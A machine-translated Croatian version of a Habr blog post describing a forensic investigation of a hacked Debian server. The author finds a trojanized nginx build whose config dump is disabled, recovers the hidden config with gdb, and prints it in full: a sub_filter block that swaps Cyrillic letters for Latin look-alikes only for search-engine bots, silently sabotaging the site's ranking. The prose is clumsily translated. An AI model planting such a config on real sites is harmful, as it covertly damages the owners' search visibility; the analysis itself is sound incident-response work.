Kada 'a' nije jednako 'a'. Na tragu haka

Jednom mom prijatelju dogodila se vrlo neugodna priča. No, koliko god se za Mikhaila pokazalo neugodnim, meni je bilo jednako zabavno.

Moram reći da je moj prijatelj prilično UNIX-korisnik: može sam instalirati sustav mysql, php i napravite jednostavne postavke Nginx.
I ima desetak ili jednu i pol web stranicu posvećenu građevinskim alatima.

Jedna od ovih stranica posvećena motornim pilama čvrsto sjedi u TOP tražilicama. Ova stranica je nekomercijalni recenzent, ali je netko stekao naviku napadati je. Da DDoS, pa gruba sila, pa pišu bezobrazne komentare i šalju uvrede hostingu i RKN-u.
Odjednom se sve smirilo i pokazalo se da to smirenje nije dobro i stranica je počela postupno napuštati prve redove rezultata pretraživanja.

Kada 'a' nije jednako 'a'. Na tragu haka

To je bila izreka, a onda sama administratorova priča.

Bližilo se vrijeme za spavanje kad je telefon zazvonio: “San, hoćeš li pogledati moj server? Čini mi se da su me hakirali, ne mogu to dokazati, ali osjećaj me ne napušta već treći tjedan. Možda je samo vrijeme da se liječim od paranoje?”

Uslijedila je polusatna rasprava koja se može sažeti na sljedeći način:

  • tlo za hakiranje bilo je prilično plodno;
  • napadač bi mogao dobiti prava superkorisnika;
  • napad (ako se dogodio) bio je usmjeren upravo na ovo mjesto;
  • problematična područja su ispravljena i samo trebate razumjeti je li došlo do penetracije;
  • hakiranje nije moglo utjecati na kod stranice i baze podataka.

Što se tiče posljednje točke.

Kada 'a' nije jednako 'a'. Na tragu haka

Samo bijeli IP sučelja gleda u svijet. Nema razmjene između backend-a i frontend-a osim http(s), korisnici/lozinke su različiti, ključevi nisu razmijenjeni. Na sivim adresama, svi portovi osim 80/443 su zatvoreni. Bijeli backend IP-ovi poznati su samo dvojici korisnika, kojima Mikhail u potpunosti vjeruje.

Instaliran na sučelju Debian 9 i do trenutka kada je poziv upućen, sustav je izoliran od svijeta vanjskim vatrozidom i zaustavljen.

"U redu, daj mi pristup", odlučim odgoditi san na sat vremena. “Vidjet ću svojim očima.”

Ovdje i dalje:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Tražite mogući hak

Pokrećem server, prvi ušao način spašavanja. Montiram diskove i listam ih autoriziratitrupci, Povijest, sistemske zapisnike itd., kad god je to moguće, provjeravam datume stvaranja datoteka, iako razumijem da bi normalan kreker “pomeo” za sobom, a Miša je već dosta “nagazio” dok se tražio .

Pokrećem u normalnom načinu rada, još ne shvaćajući što trebam tražiti, proučavam konfiguracije. Prije svega, zanima me Nginx budući da, općenito, ne postoji ništa drugo na sučelju osim njega.
Konfiguracije su male, dobro strukturirane u desetak datoteka, samo ih pregledavam mačka'oh jedan po jedan. Čini se da je sve čisto, ali nikad se ne zna jesam li nešto propustio uključiti, dopustite mi da napravim potpuni popis:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Nisam razumio: "Gdje je popis?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Drugo pitanje je dodano pitanju na popisu: "Zašto tako stara verzija nginxa?"

Osim toga, sustav vjeruje da je instalirana najnovija verzija:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Zovem:
- Misha, zašto si se ponovno okupio Nginx?
- Čekaj, ja uopće ne znam kako to učiniti!
- Dobro, dobro, idi spavati...

Nginx očito je ponovno izgrađen, a izlaz popisa koji koristi "-T" skriven je s razlogom. Više nema nikakvih dvojbi oko hakiranja i možete to jednostavno prihvatiti i (pošto je Misha ionako zamijenio server novim) smatrati problem riješenim.

I doista, budući da je netko dobio prava korijen'ah, onda to jedino ima smisla učiniti ponovna instalacija sustava, i bilo je beskorisno tražiti što tu nije u redu, ali ovoga puta znatiželja je pobijedila san. Kako možemo saznati što su htjeli sakriti od nas?

Pokušajmo pratiti:

$ strace nginx -T

Gledamo to, očito nema dovoljno linija u tragu a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Samo zabave radi, usporedimo nalaze.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Mislim da je dio šifre /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

doveden je u formu:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ili

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

stoga se popis s "-T" ne prikazuje.

Ali kako možemo vidjeti našu konfiguraciju?

Ako je moja misao točna i problem je samo u varijabli ngx_dump_config Pokušajmo ga instalirati pomoću gdb, srećom postoji ključ --with-cc-opt -g prisutan i nadam se da optimizacija -O2 neće nam ništa. U isto vrijeme, budući da ne znam kako ngx_dump_config moglo biti obrađeno u slučaj 'T':, nećemo zvati ovaj blok, već ga instalirati pomoću slučaj 't':

Zašto možete koristiti '-t' kao i '-T'Obrada blokova if(ngx_dump_config) događa unutra if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Naravno, ako se šifra promijeni u ovom dijelu, a ne u slučaj 'T':, onda moja metoda neće raditi.

Testirajte nginx.confNakon što je problem već eksperimentalno riješen, ustanovljeno je da je za rad zlonamjernog softvera potrebna minimalna konfiguracija Nginx tip:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Koristit ćemo ga radi sažetosti u članku.

Pokrenite program za ispravljanje pogrešaka

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Korak po korak:

  • postaviti prijelomnu točku u funkciji glavni()
  • pokrenuti program
  • promijeniti vrijednost varijable koja određuje izlaz config ngx_dump_config=1
  • nastaviti/završiti program

Kao što vidimo, prava konfiguracija se razlikuje od naše, odabiremo parazitski dio iz nje:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Pogledajmo redom što se ovdje događa.

Odlučan User-agentyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Stranice usluga su isključene wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

I za one koji potpadaju pod oba gore navedena uvjeta

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

u tekstu html- mijenjanje stranica 'O' na 'o' и 'A' na 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Tako je, jedina suptilnost je to 'a' != 'a' baš kao 'o' != 'o':

Kada 'a' nije jednako 'a'. Na tragu haka

Tako botovi tražilice umjesto normalnog 100% ćiriličnog teksta dobivaju modificirano smeće razrijeđeno latinicom 'a' и 'o'. Ne usuđujem se raspravljati o tome kako to utječe na SEO, ali malo je vjerojatno da će takva zbrka slova pozitivno utjecati na pozicije u rezultatima pretraživanja.

Što reći, momci s maštom.

reference

Otklanjanje pogrešaka s GDB-om
gdb(1) — Stranica priručnika za Linux
strace(1) — stranica priručnika za Linux
Nginx - Modul ngx_http_sub_module
O pilama, motornim pilama i električnim pilama

Izvor: www.habr.com

Dodajte komentar